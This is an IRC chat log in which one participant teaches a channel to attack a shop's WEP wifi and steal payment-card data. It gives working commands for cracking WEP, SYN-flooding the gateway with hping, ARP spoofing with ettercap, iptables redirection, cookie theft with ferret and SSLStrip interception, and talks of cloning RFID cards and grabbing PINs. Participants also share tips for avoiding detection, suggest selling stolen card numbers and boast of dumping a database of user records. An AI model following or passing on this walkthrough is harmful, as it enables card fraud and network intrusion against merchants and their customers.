* xoxo has quit (Quit: Leaving)
<Snafu> -t is the target
<turnigy> snafu, getting the mac of the reader? nmap?
<Snafu> Now, heres the trick
<Snafu> that is a one way spoof
* Bob_Robster has quit ()
<Snafu> yep
* ryan1918 has quit (Remote host closed the connection)
<Snafu> or ettercap
<Snafu> or both
<Snafu> whatever =)
* xoxo (~xoxo@EB88FA99.F20FE4F0.3582744B.IP) has joined #school4lulz
<Snafu> many methods here
<Snafu> Let me backup a bit
<d0z3> heh i'm glad i run the wifi in a seperate vlan at work :p
<Snafu> nmap 192.168.1.0/24 -sn
<hjjax> what would happen if i tested it against my home network? just stop traffic for my entire
family?
<Mutiny> or try to login to the gw using the default information XD
<Snafu> that does a ping sweep on the network
<xoxo> (could somebody paste the lines I missed? it's for the loggin')
<Snafu> I can briefly recap
<Snafu> Thatll be good
<Snafu> cuz im getting lost in my thoughts reading everybodies questions
<crklol> xoxo,
<crklol> * xoxo è uscito (Quit: Leaving)
<crklol> <Snafu> -t is the target
<crklol> <turnigy> snafu, getting the mac of the reader? nmap?
<crklol> <Snafu> Now, heres the trick
<crklol> <Snafu> that is a one way spoof
<crklol> * Bob_Robster è uscito ()
<crklol> <Snafu> yep
<crklol> * ryan1918 è uscito (Remote host closed the connection)
<crklol> <Snafu> or ettercap
<crklol> <Snafu> or both
* ryan1918 (~ryan@7016F228.B696884D.7E210C26.IP) has joined #school4lulz
<crklol> <Snafu> whatever =)
<Snafu> coo, thanks crklol
<crklol> np
<xoxo> i'm gonna sync it up a lil
<Snafu> grabbing a dip, one sec, afk
<Snafu> ill just backtrack a bit
* bob has quit (Quit: later)
<Snafu> thatll make it make sense
<Snafu> now that i see what questions i missed, order is always nice
<Snafu> 123 instead of 1583737 then 2
<Snafu> so
* sublimepua has quit (Ping timeout: 240 seconds)
<Snafu> WEP and POS networks
<Snafu> we could speak WPA, but why not go for the low hanging fruit
<d0z3> (use airocrack or cafe late)
<Snafu> Do some wardriving
<Snafu> find a network with an ESSID that matches the business (this is so you dont hit the wrong
people and waste time)
<Snafu> ie subways
<Snafu> they are always almost normally improper setup per PCI DSS rules
<Snafu> thats the payment card industry
<Snafu> Data security standards
<Snafu> fun rules
<Snafu> 5000 dollar a day fines for improper networks with wifi

```

<Snafu> Okay  
<Snafu> So  
<Snafu> U find a subway with wep  
<Snafu> u can also use signal strength to determine a network  
<Snafu> whatever  
<Snafu> crack the wep open like an egg.....then  
<Snafu> yer gunna need to test if the wifi is on the POS part of the network  
<Snafu> How to do this is by syn flooding the gateway  
<Snafu> most networks thats the 192.168.1.1  
<Snafu> to find it another way would be to ipconfig /all  
<Snafu> in windows  
<Snafu> or route -en in \*nix  
<Snafu> if u dont know what a gateway is, well, google =)  
<turnigy> tip: if you don't, forget this.  
<Snafu> so, you need to prevent traffic from going out of the network  
<Snafu> to do this create a syn flood  
<Snafu> via hping or whatever method  
<Snafu> i use hping  
<Snafu> it works  
<Snafu> field tested  
<Snafu> hping3 to be exact  
<Snafu> here is the syntax  
<Snafu> hping -i u1 -S -p 80 dst-host-or-ip  
<Snafu> where dst-host-or-ip is the gateways ip  
<Snafu> hping --help to figure out what the optional syntaxes are  
<Snafu> i choose port 80 because the router will normally have 80 open so that the owner can surf the kiddie pr0n  
<Snafu> So  
<Snafu> With yer handy netbook, grab u a sandwich, sit down, eat for a bit, and then wait for someone to get rdy to pay  
<Snafu> have the commands typed already  
<Snafu> watch what thye pull out  
<Snafu> if its plastic begin the flood  
<Snafu> The effect is instantenous  
<Snafu> so dont have it running for long  
<Snafu> the goal is NOT TO DDoS at this point  
<Snafu> maybe later  
<Snafu> but not now  
<Snafu> So, if u see the clerk swipe more than once and have a confused look on his face  
<Snafu> U got it  
<Snafu> The reader wont show errors because it is transmitting properly  
<Snafu> itll say Waiting on confirmation or whatever  
<Snafu> because it is sending the data up the pipe  
<Snafu> So thats where u get the confused look from  
<Snafu> cuz normally its like 4-5 seconds for a response with a cat5 cable hooked in  
<Snafu> longer if its telephonics, but then it prolly wouldnt work anyways cuz its not on the subnet of the wifi  
<Snafu> so after you have seen multiple swipes, stop the flood  
<Snafu> dont wait too long  
<Snafu> or the customer will pull out cash  
<Snafu> or a diff card  
<Snafu> all about timing  
<Snafu> you want to see that u delay it  
<Snafu> and then see that the same card goes through  
<hjax> what would happen if theres more than one cash register?  
<Snafu> thats the litmus test part of it  
<Snafu> Good question  
<Snafu> Never thought about it like that  
<crklol> wait, isnt the shit of the card cripted?  
<hjax> would it lock up all of them?  
<Snafu> but since youll be syn flooding the gateway  
<Snafu> it shouldnt matter  
<Snafu> itll prevent traffic from leaving.....maybe not coming, but def leaving  
<Snafu> Yep  
<Snafu> SSL  
<Snafu> but theres a cure thanks to moxie marlinspike  
<Snafu> but thats later  
<Snafu> ..  
<Snafu> Okay so  
<Snafu> You have verified that the WiFi is the same subnet as the POS  
\* jester[znc] is now known as jester  
<Snafu> Yep  
<Snafu> totally prevent traffic outgoing  
<Snafu> never done intensive syn flood testing to see what happens to all machines outbound/inbound  
<Snafu> but it definately prevents outbound traffic  
<Snafu> okay so  
<Snafu> Now you need the MACs of the gateway and the readers  
<Snafu> i suggest: nmap 192.168.1.0/24 -sn  
<Snafu> assuming its a 192.168.1.1 type networks

<Snafu> use whatever works for u  
<Snafu> then using a mac looker upper  
<Snafu> google "mac address lookup"  
<Snafu> first or second hit is the page u need  
<Snafu> either way  
<d0z3> cant u just arp -a since you just pinged ?  
<kratos> ^  
<Snafu> the first 6 digits of the hex addie are the manufacturer  
<Snafu> u could  
<Snafu> but u only attacked the gateway  
<Snafu> not the reader  
<d0z3> yeah but you did an nmap ping sweep  
<Snafu> so why would u have arp traffic to the reader?  
<d0z3> so you arp'ed every ip  
<d0z3> and should have gotten a reply  
<Snafu> =)  
\* ratch3t (~androirc@LulzCo-FC117E60.sub-174-253-235.myvzw.com) has joined #school4lulz  
<Snafu> Oh  
\* ratch3t has quit ()  
<kratos> or you could use hping and ethereal to craft an arp req and cap the reply  
<Snafu> thought u meant after the flood  
<Snafu> yes  
<Snafu> You are correct  
<Snafu> figured u meant dir after the synflood, vs after the nmap sweep  
<Snafu> method is not important  
<Snafu> What u need is a list of macs on the subnet  
<Snafu> after u got them  
<d0z3> after the nmap 😊  
<d0z3> ok  
<Snafu> look for ones that arent laptop normal  
<Snafu> ie  
<Snafu> hell i cant even think of one now  
<Snafu> but it wont be atheros or hp etc...  
<Snafu> so using those macs  
<Snafu> take the first 6 digits of the 12 digit address  
<turnigy> nmap does a good job of figuring it out, what device etc  
<Snafu> and look em up  
<Snafu> when u find one that deals with POS, u got a target  
<Snafu> sometimes  
<Snafu> but yer only -sn it  
<Snafu> So  
<Snafu> Now you have the mac of the gateway and any card readers  
<Snafu> Really you only need to do a oneway spoof  
\* tzaki has quit (Quit: Leaving)  
<Snafu> from the reader to the gateway  
\* Zion has quit (Ping timeout: 240 seconds)  
<Snafu> but if you want other infos  
<Snafu> youll need a twoway  
\* zdanthrax has quit (Quit: Leaving)  
<xoxo> Snafu: could you give the command for spoofing?  
<Snafu> ettercap -Tq -i wlan0 -M arp:remote /192.168.1.1/ /192.168.1.3/  
<xoxo> ty  
<Snafu> arpspoof -i wlan0 -t 192.168.1.3 192.168.1.1  
<Snafu> thats a one way though  
<Snafu> ettercap -Tq -i wlan0 -M arp:remote /192.168.1.1/ /192.168.1.3/  
<Snafu> would be twoway  
<Snafu> which is more ideal  
<Snafu> and you see both sides of the equation  
<Snafu> vs just the traffic FROM the reader  
<Snafu> or using ettercap for a oneway would be this way  
<Snafu> ettercap -Tq -i wlan0 -M arp:oneway /192.168.1.1/ /192.168.1.3/  
<Snafu> okay so, now with the twoway being recommended  
<Snafu> Ah, forgot  
<Snafu> The reason i use ettercap is for packet forwarding purposes  
<Snafu> If you are using arpspoof u have to do it manually  
<Snafu> with this method  
\* leak has quit ()  
<Snafu> #!/bin/bash  
<Snafu> #Not using the old ways anymore, ettercap all the way  
<Snafu> #echo "1" > /proc/sys/net/ipv4/ip\_forward  
<Snafu> echo "Define Forwarding Port"  
<Snafu> read a  
<Snafu> iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port \$a  
<turnigy> everyone should know this...but to add, change your freaking mac first  
<Snafu> exit  
<Snafu> theres my script  
<nachash> And preferably use a wifi card you don't care about, in addition to changing your mac.  
<Snafu> ah wait  
<Snafu> hmm



```

<Snafu> yes u are right turnigy
<Snafu> we are teaching =)
<Snafu> Change yer hostname too
<Snafu> thatll be in the logz
<Snafu> as well
<nachash> There's no such thing as paranoia.
<crklol> ettercap rules
<Snafu> Okay so backing up just a bit here
<Snafu> You need to enable packet forwarding, OR you will DOS whatever u are spoofing
<Snafu> echo "1" > /proc/sys/net/ipv4/ip_forward
<Snafu> to enable packet forwarding
* TimmyTingles has quit (Remote host closed the connection)
<Snafu> But, if u use the above script, youll see where i talk about ettercap and its commented out
<Snafu> So i dont really use arpspoof
<Snafu> cuz ettercap is more powerful
<Snafu> either way
<kratos> if you use iptables, you'll need to p
<kratos> ermit forwarding as well
<Snafu> Ah, a note
<Snafu> If you use arpspoof
<Snafu> and want to read the dumps with Ettercaps -T option (text)
<Snafu> make sure you invoke the unoffensive
<Snafu> You do not want to forward twice
<Snafu> My iptables are defaulted kratos
<Snafu> so im not sure what ya mean
<Snafu> how i do forwarding is the echo "1" > /proc/sys/net/ipv4/ip_forward
<Snafu> i dont issue any iptables commands to do it
<Snafu> Do u know something i dont sir?
<kratos> the forward chain must be set to ACCEPT
<Snafu> and yeah xoxo ill kick when finished
<Snafu> hmm
<kratos> just a mention
<Snafu> never had a problem in ubuntu or backtrack
<kratos> i use complex firewalls though 😊
<kratos> and DENY all generally
<Snafu> ah
<kratos> just something to watch out for
<Snafu> I dont use any when attacking
* gaybaby (~g@yba.be) has joined #school4lulz
<Snafu> takes elements out of the equation
<Snafu> Okay
<Snafu> Noddles
<Snafu> So if you use firewalls
<Snafu> make sure you dont prevent forwarding
<Snafu> thats the lesson to get out of that
<Snafu> Alright
<Snafu> So
<Snafu> a recap on the spoofing
* turnigy has quit (Remote host closed the connection)
<Snafu> if you use a method other than ettercap to spoof
<Snafu> MAKE sure you enable packet forwarding
<Snafu> In conjunction with that
* janick (~qwerty@LulzCo-C71354B7.desu.edu) has joined #school4lulz
<kratos> and if you have any trouble, check you have all the iptables modules compiled in your kernel
<kratos> alongside ip forwarding
<Snafu> make sure if you decide to read traffic with ettercaps -t option, and you have enabled
forwarding via the echo "1" > /proc/sys/net/ipv4/ip_forward
<Snafu> that you set ettercap to Unoffensive
<Snafu> this is in the man page for ettercap
<Snafu> how to invoke ettercap unoffensively?
<Snafu> ettercap -Tu
<Snafu> Touche' kratos
* turnigy (~turnigy@9E450AF4.1F24E4E4.13FC21DA.IP) has joined #school4lulz
<Snafu> Any questions so far?
<Snafu> Sorry if this has been long winded.....
<Snafu> alright
<Snafu> Now, we are currently: mitm the router/gateway (2-way preferably)
<phed> this db im dumping i think is looking well over 6k users in email/telephone/full name/address
/password plus possibly other shit i cant see outside the scroll of the screen lol hopefull some cc in
there
<phed> all uk english twats lulz
<Snafu> Next we want to do two things
<Snafu> Grab authentication cookies
<Snafu> And SSLStrip
<jester> omg pheds
<Snafu> To grab cookies, I like to use Ferret&Hamster
<kratos> more of a #lulzsec topic there phed
<Snafu> syntax on this is
<Snafu> ferret -i wlan0

```

```

<phed> do my bros not want some lootin first in here lol??
<Snafu> open that in a diff text window, cuz it will spam the screen with all sorts of chatter
* ryan1918 has quit (Remote host closed the connection)
<kratos> ssh, let Snafu teach
<Snafu> but leave it running
<Snafu> You might get some cool stuff....Specially if you arent just mitm the tgt and the gw, but the
whole network
<Snafu> Alright, now with ferret running
<Snafu> Youll need to do some iptables configuring
<Snafu> echo "Define Forwarding Port"
<Snafu> read a
<Snafu> iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port $a
<Snafu> exit
<Snafu> you can script it if you like
<Snafu> I left off the top half for simplicitys sake, cuz i talk about using ettercap and such
* sublimepua (~sublimepu@LulzCo-693EDEBE.maine.res.rr.com) has joined #school4lulz
* curi0us (~bogatash@LulzCo-A73C7FF1.nycap.res.rr.com) has joined #school4lulz
* ryan1918 (~ryan@7016F228.B696884D.7E210C26.IP) has joined #school4lulz
* curi0us has quit ()
<Snafu> Alright, with that command, its going to move yer packets from 443 over to 80
<Snafu> using SSLStrip
<Snafu> anyone here not used sslstrip?
<Snafu> anyone here used it?
<crklol> never used it
<crklol> seems cool
<Snafu> Moving on.
<Snafu> Heh
<Snafu> Its a blast
<Snafu> sb1
<Snafu> wget http://www.thoughtcrime.org/software/sslstrip/sslstrip-0.7.tar.gz \ python setup.py
install
<Snafu> the \ python setup.py install is for once youve gunzipped and untarred
<Snafu> and cd'd to the dir
<Snafu> gotta use the pisser
<Snafu> brb
<gaybaby> WHOOP THERE IT IS
<gaybaby> WHOOP THERE IT IS
<gaybaby> WHOOP THERE IT IS
<gaybaby> WHOOP THERE IT IS
<gaybaby> WHOOP THERE IT IS
<gaybaby> WHOOP THERE IT IS
<gaybaby> WHOOP THERE IT IS
<gaybaby> WHOOP THERE IT IS
<gaybaby> WHOOP THERE IT IS
<gaybaby> WHOOP THERE IT IS
<crklol> pussy
<crklol> pussy
<d0z3> stfu
<Odysseus> kick ban pls
* r0yale (~r0yale@LulzCo-C1DBF51B.ok.ok.cox.net) has joined #school4lulz
<xoxo> GUYS
<xoxo> Stop
<Mutiny> Eh, let them have their fun now, since snafu is afk 🤔
<Snafu> wow
<Snafu> definately gay
<xoxo> haha 😂
<Snafu> alright
<xoxo> Mutiny: but it fucks up the log you know
<Mutiny> i retract that statement
<Snafu> SSLStrip
<Mutiny> you can cut it out
<crklol> (you should put +m here=
<crklol> *)
<Snafu> It makes port 443 port 80 by some magik
* r0yale (~r0yale@LulzCo-C1DBF51B.ok.ok.cox.net) has left #school4lulz
<Snafu> anyone know why we want 80 vs 443?
<Snafu> 80 is cleartxt =)
<Mutiny> 80 is standard open for http
<Mutiny> ?
<Mutiny> i was wrong.
<Snafu> so are other fun ports....23...etc
<Snafu> Yep
<Snafu> but its also cleartext
<Snafu> Yer proper Mutiny
<Snafu> it is http standard
<Snafu> What does http do though with "user info"?
<Snafu> Sends it cleartext across the wire
<kratos> you could open an ssl server on port 80 but your browser would go insane

```

<Snafu> If this was my network i'd show you a dump of an sslstrip extract, but its not mine to mess with right now

<d0z3> um its not coz you portforward 443 to 80 thats its gonna get decoded .. ?

<Snafu> This applies to ANY network and ANY situation, not just subway wep networks with a POS attached

<Snafu> well, 443 is standard for https

\* transient (~transient@LulzCo-2E403794.jetstream.xtra.co.nz) has joined #school4lulz

<kratos> via sslstrip d0z3

<d0z3> ah k

<Snafu> which uses ssl for encryption

<hatter> [http://www.nytimes.com/2011/06/12/world/12internet.html?\\_r=1&pagewanted=1&partner=rss&emc=rss](http://www.nytimes.com/2011/06/12/world/12internet.html?_r=1&pagewanted=1&partner=rss&emc=rss) interesting.

\* iwr9j9h (~sifaujasg@LulzCo-81798442.tampabay.res.rr.com) has joined #school4lulz

<crklol> not sure how ssl can be decripted however

<Snafu> It doesnt

<d0z3> so your gonna give the cardreader a new ssl cert ?

<iwr9j9h> decrypted\*

<KroaK> its doesn't

\* iro has quit (Read error: Connection reset by peer)

<Snafu> SSLstrip is magik bro

<Snafu> nope

<KroaK> it give the victim a fake ssl cert

<d0z3> ok thought so

<Snafu> this is not like ettercaps fake ssl cert shit

<d0z3> real mitm

<crklol> ah ok KroaK

<Snafu> This is a redirector

<turnigy> most users will click ok to security warnings in browser

<turnigy> 😊

<Snafu> the victim doesnt see ANYTHING

<kratos> <http://www.thoughtcrime.org/software/sslstrip/>

<Snafu> in this case, they dont get the warning

<d0z3> this isn't a user but an embedded device 😊

<Snafu> yep

<Snafu> Moxie

<crklol> but didnt the app "for the card" need to accept the NEW cert?

<Snafu> Awesome

<Snafu> Noddles

<Snafu> which is why we cant use fake ssl replacement here

<Snafu> we need the reader not to be asked questions

<Snafu> SSLStrip works like this

\* hjax has quit (Quit: <http://www.mibbit.com> ajax IRC Client)

\* Gilbert (~vvvv@BA76605B.334318CF.B14CD96.IP) has joined #school4lulz

<crklol> >mfw

\* lincoln (~AndChat@LulzCo-65F95419.sub-174-255-178.myvzw.com) has joined #school4lulz

<Snafu> It makes the server think its talking on SSL to the end user

<Snafu> Which it is

<Snafu> It Fools the tgt into accepting http

<Snafu> versus https

<d0z3> hm

<Snafu> if you saw it in a browser youd understand what i mean

<Snafu> and moxie explains it better on the website

<Snafu> def read into it, prior to use, so yer not just skiddie here

<d0z3> didn't know that would work

<Snafu> Whats that d0z3?

\* Tully\_ has quit (Read error: Connection reset by peer)

\* exidous has quit (Read error: Connection reset by peer)

<d0z3> so in essence it just doenst offer a cert to the client so the client will not start ssl ?

\* Tully\_ (Tully@LulzCo-F36D22A1.bcstcmnta01.clsttx.tl.dh.suddenlink.net) has joined #school4lulz

<Snafu> Yeah, but without triggering any browser warnings....

\* Tully\_ has quit (Read error: Connection reset by peer)

\* Tully\_ (Tully@LulzCo-F36D22A1.bcstcmnta01.clsttx.tl.dh.suddenlink.net) has joined #school4lulz

<d0z3> k cool

<Snafu> Theres even an option to insert a fake favicon lock =)

<Snafu> -f

<d0z3> there goes tully again

\* six28 (~joulujoah@LulzCo-D0AA549E.range86-161.btcentralplus.com) has joined #school4lulz

\* Tully\_ has quit (Read error: Connection reset by peer)

<Snafu> Im going to pastebin my sslstrip script

<crklol> but, why should It forwart to 80? isnt enough the fake cert to decript all?

\* Tully\_ (Tully@LulzCo-F36D22A1.bcstcmnta01.clsttx.tl.dh.suddenlink.net) has joined #school4lulz

<Snafu> It has options that the man file doesnt

<Snafu> U dont want a fake cert

<Snafu> U dont want it to do SSL at all

<Snafu> thats the point

<Snafu> sb1 for pastebin

<d0z3> whats sb1? :p

<Snafu> Pastebinning so you will see hidden options for ssl not talked about in the man or help file

<Snafu> sslstrip that is  
<Snafu> standby 1 second  
<Snafu> =)  
<d0z3> k  
<Snafu> lord have mercy, satelite is sl0w  
<Snafu> still loading  
<Snafu> Damn afghanistan to hell  
<d0z3> lol ur in .af ?  
\* exidous (~tt@LulzCo-87612D03.dsl.teksavvy.com) has joined #school4lulz  
<Snafu> yep  
\* daquikniz (syncore@LulzCo-B0D1073A.us) has joined #school4lulz  
<Snafu> not .af though =)  
<Snafu> American  
<Snafu> Marine =)  
<Snafu> =/  
\* Hyppo (~Robin@LulzCo-D9595ED.access.telenet.be) has joined #school4lulz  
<daquikniz> wut dis shit iz nigguh  
\* hobes is now known as night  
<Snafu> http://pastebin.com/rTP3uUsL  
\* SamIRi has quit (Ping timeout: 240 seconds)  
\* Gilbert has quit (Remote host closed the connection)  
\* HiThere (~ident@LulzCo-B9A9C274.dhcp.snlo.ca.charter.com) has joined #school4lulz  
<Snafu> K, check the pastebin for the options  
<d0z3> k  
<Snafu> 2) Log all SSL traffic TO and FROM server is the option u want  
<Snafu> 3) will show u the normal http traffic  
<Snafu> which is a helluva lot  
\* Limit (~Limit@LulzCo-F78A6C2D.bb.sky.com) has joined #school4lulz  
<Snafu> if yer just logging card reader to gateway and back it wont be  
<Snafu> but this method applies to a lot more than just POS network s=)  
<Snafu> Alright  
<Snafu> So thats it  
<Snafu> wait for some card swipes  
<Snafu> TIME them  
<Snafu> then check out yer dumps in comparision to the time of swipe  
<Snafu> Tasty info there  
<Snafu> The next thing you can do  
\* shivy (~shivy@LulzCo-5A3629A4.unitymediagroup.de) has joined #school4lulz  
<Snafu> Is to approach the owner.....  
<Snafu> Explain to em you see they are on WEP  
<d0z3> nah just use the cc numbers and sell them  
<Snafu> Talk about the TJ Maxx scandal from 05 or 06....I dont remember  
<Snafu> Let em know it cost tj maxx and marshall like millions of dollars  
<Snafu> grin  
<Snafu> that too  
<Snafu> then offer to "Fix" their network for a fraction of what a whitehat company would charge em  
<Snafu> Simply set em to WPA2 and they're good  
<Snafu> takes 30 secs of yer time  
<Snafu> to make a could k  
<Snafu> couple k rather  
<Snafu> Any questions?  
<Snafu> kicked xoxo  
<Snafu> get it?  
<d0z3> too bad in my country cc is not so regular :p  
<d0z3> its all maestro here  
<Snafu> whats that?  
<d0z3> debit cards  
<xoxo> d0z3: are you in belgium,  
<xoxo> N  
<d0z3> xoxo sjjj  
\* turnigy has quit ()  
<Snafu> oh, can you charge em as credit? or straight 4 digit pins?  
<xoxo> sjjj?  
<d0z3> 4 digit pins :p  
<xoxo> Snafu: straight 4 digit  
<d0z3> xoxo are u ?  
<xoxo> d0z3: dunno. what about u?  
<Snafu> You know, with rfid enabled cards, and in conjunction with the method above  
<d0z3> :p  
<Snafu> you could clone the card  
<Snafu> and grab the pin via the method above =)  
<Snafu> anythings possible  
<Snafu> jackass companies using RFID for money cards....  
<d0z3> xoxo u have a azerty keyb so i assume u are :p  
<d0z3> havent heard about rfid cards  
\* DevCore has quit (Quit: http://wix.com/aaronlingwood/omgwtfbqq Sydney HackerSpace)  
<Snafu> what!  
<Snafu> havent heard about easyswipes??  
<Snafu> its a little chip in the cards that is RFID

---

[Next page »](#)